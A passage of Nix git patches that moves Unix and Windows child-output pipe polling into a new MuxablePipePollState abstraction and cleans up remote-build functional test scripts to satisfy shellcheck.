-                    if (errno != EINTR)
-                        throw SysError("%s: read failed", goal->getName());
-                } else {
-                    printMsg(lvlVomit, "%1%: read %2% bytes",
-                        goal->getName(), rd);
-                    std::string_view data((char *) buffer.data(), rd);
-                    j->lastOutput = after;
-                    goal->handleChildOutput(k, data);
-                }
-            }
-        }
-#else
-        decltype(j->channels)::iterator p = j->channels.begin();
-        while (p != j->channels.end()) {
-            decltype(p) nextp = p;
-            ++nextp;
-            for (ULONG i = 0; i < removed; i++) {
-                if (oentries[i].lpCompletionKey == ((ULONG_PTR)((*p)->readSide.get()) ^ 0x5555)) {
-                    printMsg(lvlVomit, "%s: read %s bytes", goal->getName(), oentries[i].dwNumberOfBytesTransferred);
-                    if (oentries[i].dwNumberOfBytesTransferred > 0) {
-                        std::string data {
-                            (char *) (*p)->buffer.data(),
-                            oentries[i].dwNumberOfBytesTransferred,
-                        };
-                        //std::cerr << "read  [" << data << "]" << std::endl;
-                        j->lastOutput = after;
-                        goal->handleChildOutput((*p)->readSide.get(), data);
-                    }
-
-                    if (gotEOF) {
-                        debug("%s: got EOF", goal->getName());
-                        goal->handleEOF((*p)->readSide.get());
-                        nextp = j->channels.erase(p); // no need to maintain `j->channels` ?
-                    } else {
-                        BOOL rc = ReadFile((*p)->readSide.get(), (*p)->buffer.data(), (*p)->buffer.size(), &(*p)->got, &(*p)->overlapped);
-                        if (rc) {
-                            // here is possible (but not obligatory) to call `goal->handleChildOutput` and repeat ReadFile immediately
-                        } else {
-                            windows::WinError winError("ReadFile(%s, ..)", (*p)->readSide.get());
-                            if (winError.lastError == ERROR_BROKEN_PIPE) {
-                                debug("%s: got EOF", goal->getName());
-                                goal->handleEOF((*p)->readSide.get());
-                                nextp = j->channels.erase(p); // no need to maintain `j->channels` ?
-                            } else if (winError.lastError != ERROR_IO_PENDING)
-                                throw winError;
-                        }
-                    }
-                    break;
-                }
-            }
-            p = nextp;
-        }
-#endif
+        state.iterate(
+            j->channels,
+            [&](Descriptor k, std::string_view data) {
+                printMsg(lvlVomit, "%1%: read %2% bytes",
+                    goal->getName(), data.size());
+                j->lastOutput = after;
+                goal->handleChildOutput(k, data);
+            },
+            [&](Descriptor k) {
+                debug("%1%: got EOF", goal->getName());
+                goal->handleEOF(k);
+            });
 
         if (goal->exitCode == Goal::ecBusy &&
             0 != settings.maxSilentTime &&
diff --git a/src/libstore/build/worker.hh b/src/libstore/build/worker.hh
index b57734b45e6..7d67030d737 100644
--- a/src/libstore/build/worker.hh
+++ b/src/libstore/build/worker.hh
@@ -5,10 +5,7 @@
 #include "store-api.hh"
 #include "goal.hh"
 #include "realisation.hh"
-
-#ifdef _WIN32
-#  include "windows-async-pipe.hh"
-#endif
+#include "muxable-pipe.hh"
 
 #include <future>
 #include <thread>
@@ -16,9 +13,7 @@
 namespace nix {
 
 /* Forward definition. */
-#ifndef _WIN32 // TODO Enable building on Windows
 struct DerivationGoal;
-#endif
 struct PathSubstitutionGoal;
 class DrvOutputSubstitutionGoal;
 
@@ -46,17 +41,9 @@ typedef std::chrono::time_point<std::chrono::steady_clock> steady_time_point;
  */
 struct Child
 {
-    using CommChannel =
-#ifndef _WIN32
-        Descriptor
-#else
-        windows::AsyncPipe *
-#endif
-        ;
-
     WeakGoalPtr goal;
     Goal * goal2; // ugly hackery
-    std::set<CommChannel> channels;
+    std::set<MuxablePipePollState::CommChannel> channels;
     bool respectTimeouts;
     bool inBuildSlot;
     /**
@@ -116,9 +103,7 @@ private:
      * Maps used to prevent multiple instantiations of a goal for the
      * same derivation / path.
      */
-#ifndef _WIN32 // TODO Enable building on Windows
     std::map<StorePath, std::weak_ptr<DerivationGoal>> derivationGoals;
-#endif
     std::map<StorePath, std::weak_ptr<PathSubstitutionGoal>> substitutionGoals;
     std::map<DrvOutput, std::weak_ptr<DrvOutputSubstitutionGoal>> drvOutputSubstitutionGoals;
 
@@ -207,7 +192,6 @@ public:
      * Make a goal (with caching).
      */
 
-#ifndef _WIN32 // TODO Enable building on Windows
     /**
      * @ref DerivationGoal "derivation goal"
      */
@@ -222,7 +206,6 @@ public:
     std::shared_ptr<DerivationGoal> makeBasicDerivationGoal(
         const StorePath & drvPath, const BasicDerivation & drv,
         const OutputsSpec & wantedOutputs, BuildMode buildMode = bmNormal);
-#endif
 
     /**
      * @ref SubstitutionGoal "substitution goal"
@@ -263,7 +246,7 @@ public:
      * Registers a running child process.  `inBuildSlot` means that
      * the process counts towards the jobs limit.
      */
-    void childStarted(GoalPtr goal, const std::set<Child::CommChannel> & channels,
+    void childStarted(GoalPtr goal, const std::set<MuxablePipePollState::CommChannel> & channels,
         bool inBuildSlot, bool respectTimeouts);
 
     /**
diff --git a/src/libutil/muxable-pipe.hh b/src/libutil/muxable-pipe.hh
new file mode 100644
index 00000000000..53ac39170f1
--- /dev/null
+++ b/src/libutil/muxable-pipe.hh
@@ -0,0 +1,82 @@
+#pragma once
+///@file
+
+#include "file-descriptor.hh"
+#ifdef _WIN32
+#  include "windows-async-pipe.hh"
+#endif
+
+#ifndef _WIN32
+#  include <poll.h>
+#else
+#  include <ioapiset.h>
+#  include "windows-error.hh"
+#endif
+
+namespace nix {
+
+/**
+ * An "muxable pipe" is a type of pipe supporting endpoints that wait
+ * for events on multiple pipes at once.
+ *
+ * On Unix, this is just a regular anonymous pipe. On Windows, this has
+ * to be a named pipe because we need I/O Completion Ports to wait on
+ * multiple pipes.
+ */
+using MuxablePipe =
+#ifndef _WIN32
+    Pipe
+#else
+    windows::AsyncPipe
+#endif
+    ;
+
+/**
+ * Use pool() (Unix) / I/O Completion Ports (Windows) to wait for the
+ * input side of any logger pipe to become `available'.  Note that
+ * `available' (i.e., non-blocking) includes EOF.
+ */
+struct MuxablePipePollState
+{
+#ifndef _WIN32
+    std::vector<struct pollfd> pollStatus;
+    std::map<int, size_t> fdToPollStatus;
+#else
+    OVERLAPPED_ENTRY oentries[0x20] = {0};
+    ULONG removed;
+    bool gotEOF = false;
+
+#endif
+
+    /**
+     * Check for ready (Unix) / completed (Windows) operations
+     */
+    void poll(
+#ifdef _WIN32
+        HANDLE ioport,
+#endif
+        std::optional<unsigned int> timeout);
+
+    using CommChannel =
+#ifndef _WIN32
+        Descriptor
+#else
+        windows::AsyncPipe *
+#endif
+        ;
+
+    /**
+     * Process for ready (Unix) / completed (Windows) operations,
+     * calling the callbacks as needed.
+     *
+     * @param handleRead callback to be passed read data.
+     *
+     * @param handleEOF callback for when the `MuxablePipe` has closed.
+     */
+    void iterate(
+        std::set<CommChannel> & channels,
+        std::function<void(Descriptor fd, std::string_view data)> handleRead,
+        std::function<void(Descriptor fd)> handleEOF);
+};
+
+}
diff --git a/src/libutil/processes.hh b/src/libutil/processes.hh
index e319f79e011..9d5367b024c 100644
--- a/src/libutil/processes.hh
+++ b/src/libutil/processes.hh
@@ -118,8 +118,6 @@ public:
     { }
 };
 
-#ifndef _WIN32
-
 /**
  * Convert the exit status of a child as returned by wait() into an
  * error string.
@@ -128,6 +126,4 @@ std::string statusToString(int status);
 
 bool statusOk(int status);
 
-#endif
-
 }
diff --git a/src/libutil/unix/muxable-pipe.cc b/src/libutil/unix/muxable-pipe.cc
new file mode 100644
index 00000000000..0104663c3bf
--- /dev/null
+++ b/src/libutil/unix/muxable-pipe.cc
@@ -0,0 +1,47 @@
+#include <poll.h>
+
+#include "logging.hh"
+#include "util.hh"
+#include "muxable-pipe.hh"
+
+namespace nix {
+
+void MuxablePipePollState::poll(std::optional<unsigned int> timeout)
+{
+    if (::poll(pollStatus.data(), pollStatus.size(), timeout ? *timeout : -1) == -1) {
+        if (errno == EINTR)
+            return;
+        throw SysError("waiting for input");
+    }
+}
+
+void MuxablePipePollState::iterate(
+    std::set<MuxablePipePollState::CommChannel> & channels,
+    std::function<void(Descriptor fd, std::string_view data)> handleRead,
+    std::function<void(Descriptor fd)> handleEOF)
+{
+    std::set<Descriptor> fds2(channels);
+    std::vector<unsigned char> buffer(4096);
+    for (auto & k : fds2) {
+        const auto fdPollStatusId = get(fdToPollStatus, k);
+        assert(fdPollStatusId);
+        assert(*fdPollStatusId < pollStatus.size());
+        if (pollStatus.at(*fdPollStatusId).revents) {
+            ssize_t rd = ::read(fromDescriptorReadOnly(k), buffer.data(), buffer.size());
+            // FIXME: is there a cleaner way to handle pt close
+            // than EIO? Is this even standard?
+            if (rd == 0 || (rd == -1 && errno == EIO)) {
+                handleEOF(k);
+                channels.erase(k);
+            } else if (rd == -1) {
+                if (errno != EINTR)
+                    throw SysError("read failed");
+            } else {
+                std::string_view data((char *) buffer.data(), rd);
+                handleRead(k, data);
+            }
+        }
+    }
+}
+
+}
diff --git a/src/libutil/windows/muxable-pipe.cc b/src/libutil/windows/muxable-pipe.cc
new file mode 100644
index 00000000000..91a321f7cfa
--- /dev/null
+++ b/src/libutil/windows/muxable-pipe.cc
@@ -0,0 +1,70 @@
+#include <ioapiset.h>
+#include "windows-error.hh"
+
+#include "logging.hh"
+#include "util.hh"
+#include "muxable-pipe.hh"
+
+namespace nix {
+
+void MuxablePipePollState::poll(HANDLE ioport, std::optional<unsigned int> timeout)
+{
+    /* We are on at least Windows Vista / Server 2008 and can get many
+       (countof(oentries)) statuses in one API call. */
+    if (!GetQueuedCompletionStatusEx(
+            ioport, oentries, sizeof(oentries) / sizeof(*oentries), &removed, timeout ? *timeout : INFINITE, false)) {
+        windows::WinError winError("GetQueuedCompletionStatusEx");
+        if (winError.lastError != WAIT_TIMEOUT)
+            throw winError;
+        assert(removed == 0);
+    } else {
+        assert(0 < removed && removed <= sizeof(oentries) / sizeof(*oentries));
+    }
+}
+
+void MuxablePipePollState::iterate(
+    std::set<MuxablePipePollState::CommChannel> & channels,
+    std::function<void(Descriptor fd, std::string_view data)> handleRead,
+    std::function<void(Descriptor fd)> handleEOF)
+{
+    auto p = channels.begin();
+    while (p != channels.end()) {
+        decltype(p) nextp = p;
+        ++nextp;
+        for (ULONG i = 0; i < removed; i++) {
+            if (oentries[i].lpCompletionKey == ((ULONG_PTR) ((*p)->readSide.get()) ^ 0x5555)) {
+                printMsg(lvlVomit, "read %s bytes", oentries[i].dwNumberOfBytesTransferred);
+                if (oentries[i].dwNumberOfBytesTransferred > 0) {
+                    std::string data{
+                        (char *) (*p)->buffer.data(),
+                        oentries[i].dwNumberOfBytesTransferred,
+                    };
+                    handleRead((*p)->readSide.get(), data);
+                }
+
+                if (gotEOF) {
+                    handleEOF((*p)->readSide.get());
+                    nextp = channels.erase(p); // no need to maintain `channels`?
+                } else {
+                    BOOL rc = ReadFile(
+                        (*p)->readSide.get(), (*p)->buffer.data(), (*p)->buffer.size(), &(*p)->got, &(*p)->overlapped);
+                    if (rc) {
+                        // here is possible (but not obligatory) to call
+                        // `handleRead` and repeat ReadFile immediately
+                    } else {
+                        windows::WinError winError("ReadFile(%s, ..)", (*p)->readSide.get());
+                        if (winError.lastError == ERROR_BROKEN_PIPE) {
+                            handleEOF((*p)->readSide.get());
+                            nextp = channels.erase(p); // no need to maintain `channels` ?
+                        } else if (winError.lastError != ERROR_IO_PENDING)
+                            throw winError;
+                    }
+                }
+                break;
+            }
+        }
+        p = nextp;
+    }
+}
+
+}
diff --git a/src/libutil/windows/processes.cc b/src/libutil/windows/processes.cc
index 5ef4ed1e46a..44a32f6a131 100644
--- a/src/libutil/windows/processes.cc
+++ b/src/libutil/windows/processes.cc
@@ -16,16 +16,6 @@
 #include <sys/types.h>
 #include <unistd.h>
 
-#ifdef __APPLE__
-# include <sys/syscall.h>
-#endif
-
-#ifdef __linux__
-# include <sys/prctl.h>
-# include <sys/mman.h>
-#endif
-
-
 namespace nix {
 
 std::string runProgram(Path program, bool lookupPath, const Strings & args,
@@ -34,15 +24,31 @@ std::string runProgram(Path program, bool lookupPath, const Strings & args,
     throw UnimplementedError("Cannot shell out to git on Windows yet");
 }
 
+
 // Output = error code + "standard out" output stream
 std::pair<int, std::string> runProgram(RunOptions && options)
 {
     throw UnimplementedError("Cannot shell out to git on Windows yet");
 }
 
+
 void runProgram2(const RunOptions & options)
 {
     throw UnimplementedError("Cannot shell out to git on Windows yet");
 }
 
+std::string statusToString(int status)
+{
+    if (status != 0)
+        return fmt("with exit code %d", status);
+    else
+        return "succeeded";
+}
+
+
+bool statusOk(int status)
+{
+    return status == 0;
+}
+
 }
diff --git a/src/libutil/windows/windows-async-pipe.hh b/src/libutil/windows/windows-async-pipe.hh
index c980201a84a..8f554e403f3 100644
--- a/src/libutil/windows/windows-async-pipe.hh
+++ b/src/libutil/windows/windows-async-pipe.hh
@@ -5,6 +5,13 @@
 
 namespace nix::windows {
 
+/***
+ * An "async pipe" is a pipe that supports I/O Completion Ports so
+ * multiple pipes can be listened too.
+ *
+ * Unfortunately, only named pipes support that on windows, so we use
+ * those with randomized temp file names.
+ */
 class AsyncPipe
 {
 public:

From 2e12b5812647a97a9ed8b7e6aa48fbe7725491aa Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 28 May 2024 10:10:02 -0400
Subject: [PATCH 209/528] Shellcheck some test scripts

Progress on #10795
---
 .gitignore                                    |  2 +-
 maintainers/flake-module.nix                  | 15 +------
 mk/common-test.sh                             |  3 +-
 .../build-remote-content-addressed-fixed.sh   |  2 +
 ...build-remote-content-addressed-floating.sh |  2 +
 .../build-remote-input-addressed.sh           | 12 ++---
 .../build-remote-trustless-after.sh           |  9 +++-
 .../build-remote-trustless-should-fail-0.sh   |  6 +++
 .../build-remote-trustless-should-pass-0.sh   |  2 +
 .../build-remote-trustless-should-pass-1.sh   |  2 +
 .../build-remote-trustless-should-pass-2.sh   |  2 +
 .../build-remote-trustless-should-pass-3.sh   |  2 +
 tests/functional/build-remote-trustless.sh    | 14 ++++--
 .../build-remote-with-mounted-ssh-ng.sh       | 14 +++---
 tests/functional/build-remote.sh              | 44 ++++++++++---------
 tests/functional/common.sh                    |  8 ++--
 tests/functional/common/init.sh               |  2 +
 tests/functional/common/subst-vars.sh.in      | 15 +++++++
 ...-functions.sh.in => vars-and-functions.sh} | 19 +++-----
 tests/functional/local.mk                     |  2 +-
 20 files changed, 106 insertions(+), 71 deletions(-)
 create mode 100644 tests/functional/common/subst-vars.sh.in
 rename tests/functional/common/{vars-and-functions.sh.in => vars-and-functions.sh} (96%)

diff --git a/.gitignore b/.gitignore
index 52aaec23fc2..28f85371525 100644
--- a/.gitignore
+++ b/.gitignore
@@ -92,7 +92,7 @@ perl/Makefile.config
 
 # /tests/functional/
 /tests/functional/test-tmp
-/tests/functional/common/vars-and-functions.sh
+/tests/functional/common/subst-vars.sh
 /tests/functional/result*
 /tests/functional/restricted-innocent
 /tests/functional/shell
diff --git a/maintainers/flake-module.nix b/maintainers/flake-module.nix
index 1f19c673a17..bc5dde9aabb 100644
--- a/maintainers/flake-module.nix
+++ b/maintainers/flake-module.nix
@@ -514,18 +514,6 @@
             ''^tests/functional/brotli\.sh$''
             ''^tests/functional/build-delete\.sh$''
             ''^tests/functional/build-dry\.sh$''
-            ''^tests/functional/build-remote-content-addressed-fixed\.sh$''
-            ''^tests/functional/build-remote-content-addressed-floating\.sh$''
-            ''^tests/functional/build-remote-input-addressed\.sh$''
-            ''^tests/functional/build-remote-trustless-after\.sh$''
-            ''^tests/functional/build-remote-trustless-should-fail-0\.sh$''
-            ''^tests/functional/build-remote-trustless-should-pass-0\.sh$''
-            ''^tests/functional/build-remote-trustless-should-pass-1\.sh$''
-            ''^tests/functional/build-remote-trustless-should-pass-2\.sh$''
-            ''^tests/functional/build-remote-trustless-should-pass-3\.sh$''
-            ''^tests/functional/build-remote-trustless\.sh$''
-            ''^tests/functional/build-remote-with-mounted-ssh-ng\.sh$''
-            ''^tests/functional/build-remote\.sh$''
             ''^tests/functional/build\.sh$''
             ''^tests/functional/ca/build-cache\.sh$''
             ''^tests/functional/ca/build-dry\.sh$''
@@ -554,8 +542,7 @@
             ''^tests/functional/check-reqs\.sh$''
             ''^tests/functional/check\.sh$''
             ''^tests/functional/chroot-store\.sh$''
-            ''^tests/functional/common\.sh$''
-            ''^tests/functional/common/init\.sh$''
+            ''^tests/functional/common/vars-and-functions\.sh$''
             ''^tests/functional/completions\.sh$''
             ''^tests/functional/compression-levels\.sh$''
             ''^tests/functional/compute-levels\.sh$''
diff --git a/mk/common-test.sh b/mk/common-test.sh
index de24b6fccb6..c80abd3813a 100644
--- a/mk/common-test.sh
+++ b/mk/common-test.sh
@@ -3,8 +3,7 @@
 # Remove overall test dir (at most one of the two should match) and
 # remove file extension.
 
-# shellcheck disable=SC2154
-test_name=$(echo -n "$test" | sed \
+test_name=$(echo -n "${test?must be defined by caller (test runner)}" | sed \
     -e "s|^tests/unit/[^/]*/data/||" \
     -e "s|^tests/functional/||" \
     -e "s|\.sh$||" \
diff --git a/tests/functional/build-remote-content-addressed-fixed.sh b/tests/functional/build-remote-content-addressed-fixed.sh
index ae744159113..61a1f4a464b 100644
--- a/tests/functional/build-remote-content-addressed-fixed.sh
+++ b/tests/functional/build-remote-content-addressed-fixed.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 file=build-hook-ca-fixed.nix
diff --git a/tests/functional/build-remote-content-addressed-floating.sh b/tests/functional/build-remote-content-addressed-floating.sh
index e83b42b4150..33d667f9211 100644
--- a/tests/functional/build-remote-content-addressed-floating.sh
+++ b/tests/functional/build-remote-content-addressed-floating.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 file=build-hook-ca-floating.nix
diff --git a/tests/functional/build-remote-input-addressed.sh b/tests/functional/build-remote-input-addressed.sh
index 49d15c38963..986692dbc01 100644
--- a/tests/functional/build-remote-input-addressed.sh
+++ b/tests/functional/build-remote-input-addressed.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 file=build-hook.nix
@@ -11,17 +13,17 @@ registerBuildHook () {
     # Dummy post-build-hook just to ensure that it's executed correctly.
     # (we can't reuse the one from `$PWD/push-to-store.sh` because of
     # https://github.com/NixOS/nix/issues/4341)
-    cat <<EOF > $TEST_ROOT/post-build-hook.sh
+    cat <<EOF > "$TEST_ROOT/post-build-hook.sh"
 #!/bin/sh
 
 echo "Post hook ran successfully"
 # Add an empty line to a counter file, just to check that this hook ran properly
 echo "" >> $TEST_ROOT/post-hook-counter
 EOF
-    chmod +x $TEST_ROOT/post-build-hook.sh
-    rm -f $TEST_ROOT/post-hook-counter
+    chmod +x "$TEST_ROOT/post-build-hook.sh"
+    rm -f "$TEST_ROOT/post-hook-counter"
 
-    echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> $NIX_CONF_DIR/nix.conf
+    echo "post-build-hook = $TEST_ROOT/post-build-hook.sh" >> "$NIX_CONF_DIR/nix.conf"
 }
 
 registerBuildHook
@@ -30,4 +32,4 @@ source build-remote.sh
 # `build-hook.nix` has four derivations to build, and the hook runs twice for
 # each derivation (once on the builder and once on the host), so the counter
 # should contain eight lines now
-[[ $(cat $TEST_ROOT/post-hook-counter | wc -l) -eq 8 ]]
+[[ $(wc -l < "$TEST_ROOT/post-hook-counter") -eq 8 ]]
diff --git a/tests/functional/build-remote-trustless-after.sh b/tests/functional/build-remote-trustless-after.sh
index 19f59e6aea8..2fcdbf10a01 100644
--- a/tests/functional/build-remote-trustless-after.sh
+++ b/tests/functional/build-remote-trustless-after.sh
@@ -1,2 +1,7 @@
-outPath=$(readlink -f $TEST_ROOT/result)
-grep 'FOO BAR BAZ' ${remoteDir}/${outPath}
+# shellcheck shell=bash
+
+# Variables must be defined by caller, so
+# shellcheck disable=SC2154
+
+outPath=$(readlink -f "$TEST_ROOT/result")
+grep 'FOO BAR BAZ' "${remoteDir}/${outPath}"
diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh
index 3d4a4b0979e..269f7f1129e 100644
--- a/tests/functional/build-remote-trustless-should-fail-0.sh
+++ b/tests/functional/build-remote-trustless-should-fail-0.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 enableFeatures "daemon-trust-override"
@@ -22,8 +24,12 @@ nix-build build-hook.nix -A passthru.input2 \
 # copy our already-build `input2` to the remote store. That store object
 # is input-addressed, so this will fail.
 
+# For script below
+# shellcheck disable=SC2034
 file=build-hook.nix
+# shellcheck disable=SC2034
 prog=$(readlink -e ./nix-daemon-untrusting.sh)
+# shellcheck disable=SC2034
 proto=ssh-ng
 
 expectStderr 1 source build-remote-trustless.sh \
diff --git a/tests/functional/build-remote-trustless-should-pass-0.sh b/tests/functional/build-remote-trustless-should-pass-0.sh
index 2a7ebd8c69c..b810609074d 100644
--- a/tests/functional/build-remote-trustless-should-pass-0.sh
+++ b/tests/functional/build-remote-trustless-should-pass-0.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Remote trusts us
diff --git a/tests/functional/build-remote-trustless-should-pass-1.sh b/tests/functional/build-remote-trustless-should-pass-1.sh
index 516bdf092df..b8dc038bf36 100644
--- a/tests/functional/build-remote-trustless-should-pass-1.sh
+++ b/tests/functional/build-remote-trustless-should-pass-1.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 # Remote trusts us
diff --git a/tests/functional/build-remote-trustless-should-pass-2.sh b/tests/functional/build-remote-trustless-should-pass-2.sh
index b769a88f0cf..ba5d1ff7a45 100644
--- a/tests/functional/build-remote-trustless-should-pass-2.sh
+++ b/tests/functional/build-remote-trustless-should-pass-2.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 enableFeatures "daemon-trust-override"
diff --git a/tests/functional/build-remote-trustless-should-pass-3.sh b/tests/functional/build-remote-trustless-should-pass-3.sh
index 40f81da5a5e..187b899487c 100644
--- a/tests/functional/build-remote-trustless-should-pass-3.sh
+++ b/tests/functional/build-remote-trustless-should-pass-3.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 enableFeatures "daemon-trust-override"
diff --git a/tests/functional/build-remote-trustless.sh b/tests/functional/build-remote-trustless.sh
index 81e5253bf29..c498d46c301 100644
--- a/tests/functional/build-remote-trustless.sh
+++ b/tests/functional/build-remote-trustless.sh
@@ -1,5 +1,11 @@
+# shellcheck shell=bash
+
+# All variables should be defined externally by the scripts that source
+# this, `set -u` will catch any that are forgotten.
+# shellcheck disable=SC2154
+
 requireSandboxSupport
-[[ $busybox =~ busybox ]] || skipTest "no busybox"
+[[ "$busybox" =~ busybox ]] || skipTest "no busybox"
 
 unset NIX_STORE_DIR
 unset NIX_STATE_DIR
@@ -8,7 +14,7 @@ remoteDir=$TEST_ROOT/remote
 
 # Note: ssh{-ng}://localhost bypasses ssh. See tests/functional/build-remote.sh for
 # more details.
-nix-build $file -o $TEST_ROOT/result --max-jobs 0 \
-  --arg busybox $busybox \
-  --store $TEST_ROOT/local \
+nix-build "$file" -o "$TEST_ROOT/result" --max-jobs 0 \
+  --arg busybox "$busybox" \
+  --store "$TEST_ROOT/local" \
   --builders "$proto://localhost?remote-program=$prog&remote-store=${remoteDir}%3Fsystem-features=foo%20bar%20baz - - 1 1 foo,bar,baz"
diff --git a/tests/functional/build-remote-with-mounted-ssh-ng.sh b/tests/functional/build-remote-with-mounted-ssh-ng.sh
index 443acb6ca78..e2627af394c 100644
--- a/tests/functional/build-remote-with-mounted-ssh-ng.sh
+++ b/tests/functional/build-remote-with-mounted-ssh-ng.sh
@@ -1,3 +1,5 @@
+#!/usr/bin/env bash
+
 source common.sh
 
 requireSandboxSupport
@@ -6,17 +8,17 @@ requireSandboxSupport
 enableFeatures mounted-ssh-store
 
 nix build -Lvf simple.nix \
-  --arg busybox $busybox \
-  --out-link $TEST_ROOT/result-from-remote \
+  --arg busybox "$busybox" \
+  --out-link "$TEST_ROOT/result-from-remote" \
   --store mounted-ssh-ng://localhost
 
 nix build -Lvf simple.nix \
-  --arg busybox $busybox \
-  --out-link $TEST_ROOT/result-from-remote-new-cli \
+  --arg busybox "$busybox" \
+  --out-link "$TEST_ROOT/result-from-remote-new-cli" \
   --store 'mounted-ssh-ng://localhost?remote-program=nix daemon'
 
 # This verifies that the out link was actually created and valid. The ability
 # to create out links (permanent gc roots) is the distinguishing feature of
 # the mounted-ssh-ng store.
-cat $TEST_ROOT/result-from-remote/hello | grepQuiet 'Hello World!'
-cat $TEST_ROOT/result-from-remote-new-cli/hello | grepQuiet 'Hello World!'
+grepQuiet 'Hello World!' < "$TEST_ROOT/result-from-remote/hello"
+grepQuiet 'Hello World!' < "$TEST_ROOT/result-from-remote-new-cli/hello"
diff --git a/tests/functional/build-remote.sh b/tests/functional/build-remote.sh
index d2a2132c1a4..1a53345778d 100644
--- a/tests/functional/build-remote.sh
+++ b/tests/functional/build-remote.sh
@@ -1,5 +1,9 @@
+# shellcheck shell=bash
+
+: "${file?must be defined by caller (remote building test case using this)}"
+
 requireSandboxSupport
-[[ $busybox =~ busybox ]] || skipTest "no busybox"
+[[ "${busybox-}" =~ busybox ]] || skipTest "no busybox"
 
 # Avoid store dir being inside sandbox build-dir
 unset NIX_STORE_DIR
@@ -15,50 +19,50 @@ fi
 builders=(
   # system-features will automatically be added to the outer URL, but not inner
   # remote-store URL.
-  "ssh://localhost?remote-store=$TEST_ROOT/machine1?system-features=$(join_by "%20" foo ${EXTRA_SYSTEM_FEATURES[@]}) - - 1 1 $(join_by "," foo ${EXTRA_SYSTEM_FEATURES[@]})"
-  "$TEST_ROOT/machine2 - - 1 1 $(join_by "," bar ${EXTRA_SYSTEM_FEATURES[@]})"
-  "ssh-ng://localhost?remote-store=$TEST_ROOT/machine3?system-features=$(join_by "%20" baz ${EXTRA_SYSTEM_FEATURES[@]}) - - 1 1 $(join_by "," baz ${EXTRA_SYSTEM_FEATURES[@]})"
+  "ssh://localhost?remote-store=$TEST_ROOT/machine1?system-features=$(join_by "%20" foo "${EXTRA_SYSTEM_FEATURES[@]}") - - 1 1 $(join_by "," foo "${EXTRA_SYSTEM_FEATURES[@]}")"
+  "$TEST_ROOT/machine2 - - 1 1 $(join_by "," bar "${EXTRA_SYSTEM_FEATURES[@]}")"
+  "ssh-ng://localhost?remote-store=$TEST_ROOT/machine3?system-features=$(join_by "%20" baz "${EXTRA_SYSTEM_FEATURES[@]}") - - 1 1 $(join_by "," baz "${EXTRA_SYSTEM_FEATURES[@]}")"
 )
 
-chmod -R +w $TEST_ROOT/machine* || true
-rm -rf $TEST_ROOT/machine* || true
+chmod -R +w "$TEST_ROOT/machine"* || true
+rm -rf "$TEST_ROOT/machine"* || true
 
 # Note: ssh://localhost bypasses ssh, directly invoking nix-store as a
 # child process. This allows us to test LegacySSHStore::buildDerivation().
 # ssh-ng://... likewise allows us to test RemoteStore::buildDerivation().
-nix build -L -v -f $file -o $TEST_ROOT/result --max-jobs 0 \
-  --arg busybox $busybox \
-  --store $TEST_ROOT/machine0 \
+nix build -L -v -f "$file" -o "$TEST_ROOT/result" --max-jobs 0 \
+  --arg busybox "$busybox" \
+  --store "$TEST_ROOT/machine0" \
   --builders "$(join_by '; ' "${builders[@]}")"
 
-outPath=$(readlink -f $TEST_ROOT/result)
+outPath=$(readlink -f "$TEST_ROOT/result")
 
-grep 'FOO BAR BAZ' $TEST_ROOT/machine0/$outPath
+grep 'FOO BAR BAZ' "$TEST_ROOT/machine0/$outPath"
 
-testPrintOutPath=$(nix build -L -v -f $file --no-link --print-out-paths --max-jobs 0 \
-  --arg busybox $busybox \
-  --store $TEST_ROOT/machine0 \
+testPrintOutPath=$(nix build -L -v -f "$file" --no-link --print-out-paths --max-jobs 0 \
+  --arg busybox "$busybox" \
+  --store "$TEST_ROOT/machine0" \
   --builders "$(join_by '; ' "${builders[@]}")"
 )
 
 [[ $testPrintOutPath =~ store.*build-remote ]]
 
 # Ensure that input1 was built on store1 due to the required feature.
-output=$(nix path-info --store $TEST_ROOT/machine1 --all)
+output=$(nix path-info --store "$TEST_ROOT/machine1" --all)
 echo "$output" | grepQuiet builder-build-remote-input-1.sh
 echo "$output" | grepQuietInverse builder-build-remote-input-2.sh
 echo "$output" | grepQuietInverse builder-build-remote-input-3.sh
 unset output
 
 # Ensure that input2 was built on store2 due to the required feature.
-output=$(nix path-info --store $TEST_ROOT/machine2 --all)
+output=$(nix path-info --store "$TEST_ROOT/machine2" --all)
 echo "$output" | grepQuietInverse builder-build-remote-input-1.sh
 echo "$output" | grepQuiet builder-build-remote-input-2.sh
 echo "$output" | grepQuietInverse builder-build-remote-input-3.sh
 unset output
 
 # Ensure that input3 was built on store3 due to the required feature.
-output=$(nix path-info --store $TEST_ROOT/machine3 --all)
+output=$(nix path-info --store "$TEST_ROOT/machine3" --all)
 echo "$output" | grepQuietInverse builder-build-remote-input-1.sh
 echo "$output" | grepQuietInverse builder-build-remote-input-2.sh
 echo "$output" | grepQuiet builder-build-remote-input-3.sh
@@ -66,7 +70,7 @@ unset output
 
 
 for i in input1 input3; do
-nix log --store $TEST_ROOT/machine0 --file "$file" --arg busybox $busybox passthru."$i" | grep hi-$i
+nix log --store "$TEST_ROOT/machine0" --file "$file" --arg busybox "$busybox" "passthru.$i" | grep hi-$i
 done
 
 # Behavior of keep-failed
@@ -74,9 +78,9 @@ out="$(nix-build 2>&1 failing.nix \
   --no-out-link \
   --builders "$(join_by '; ' "${builders[@]}")"  \
   --keep-failed \
-  --store $TEST_ROOT/machine0 \
+  --store "$TEST_ROOT/machine0" \
   -j0 \
-  --arg busybox $busybox)" || true
+  --arg busybox "$busybox")" || true
 
 [[ "$out" =~ .*"note: keeping build directory".* ]]
 
diff --git a/tests/functional/common.sh b/tests/functional/common.sh
index 4ec17b70664..d038aaf59dd 100644
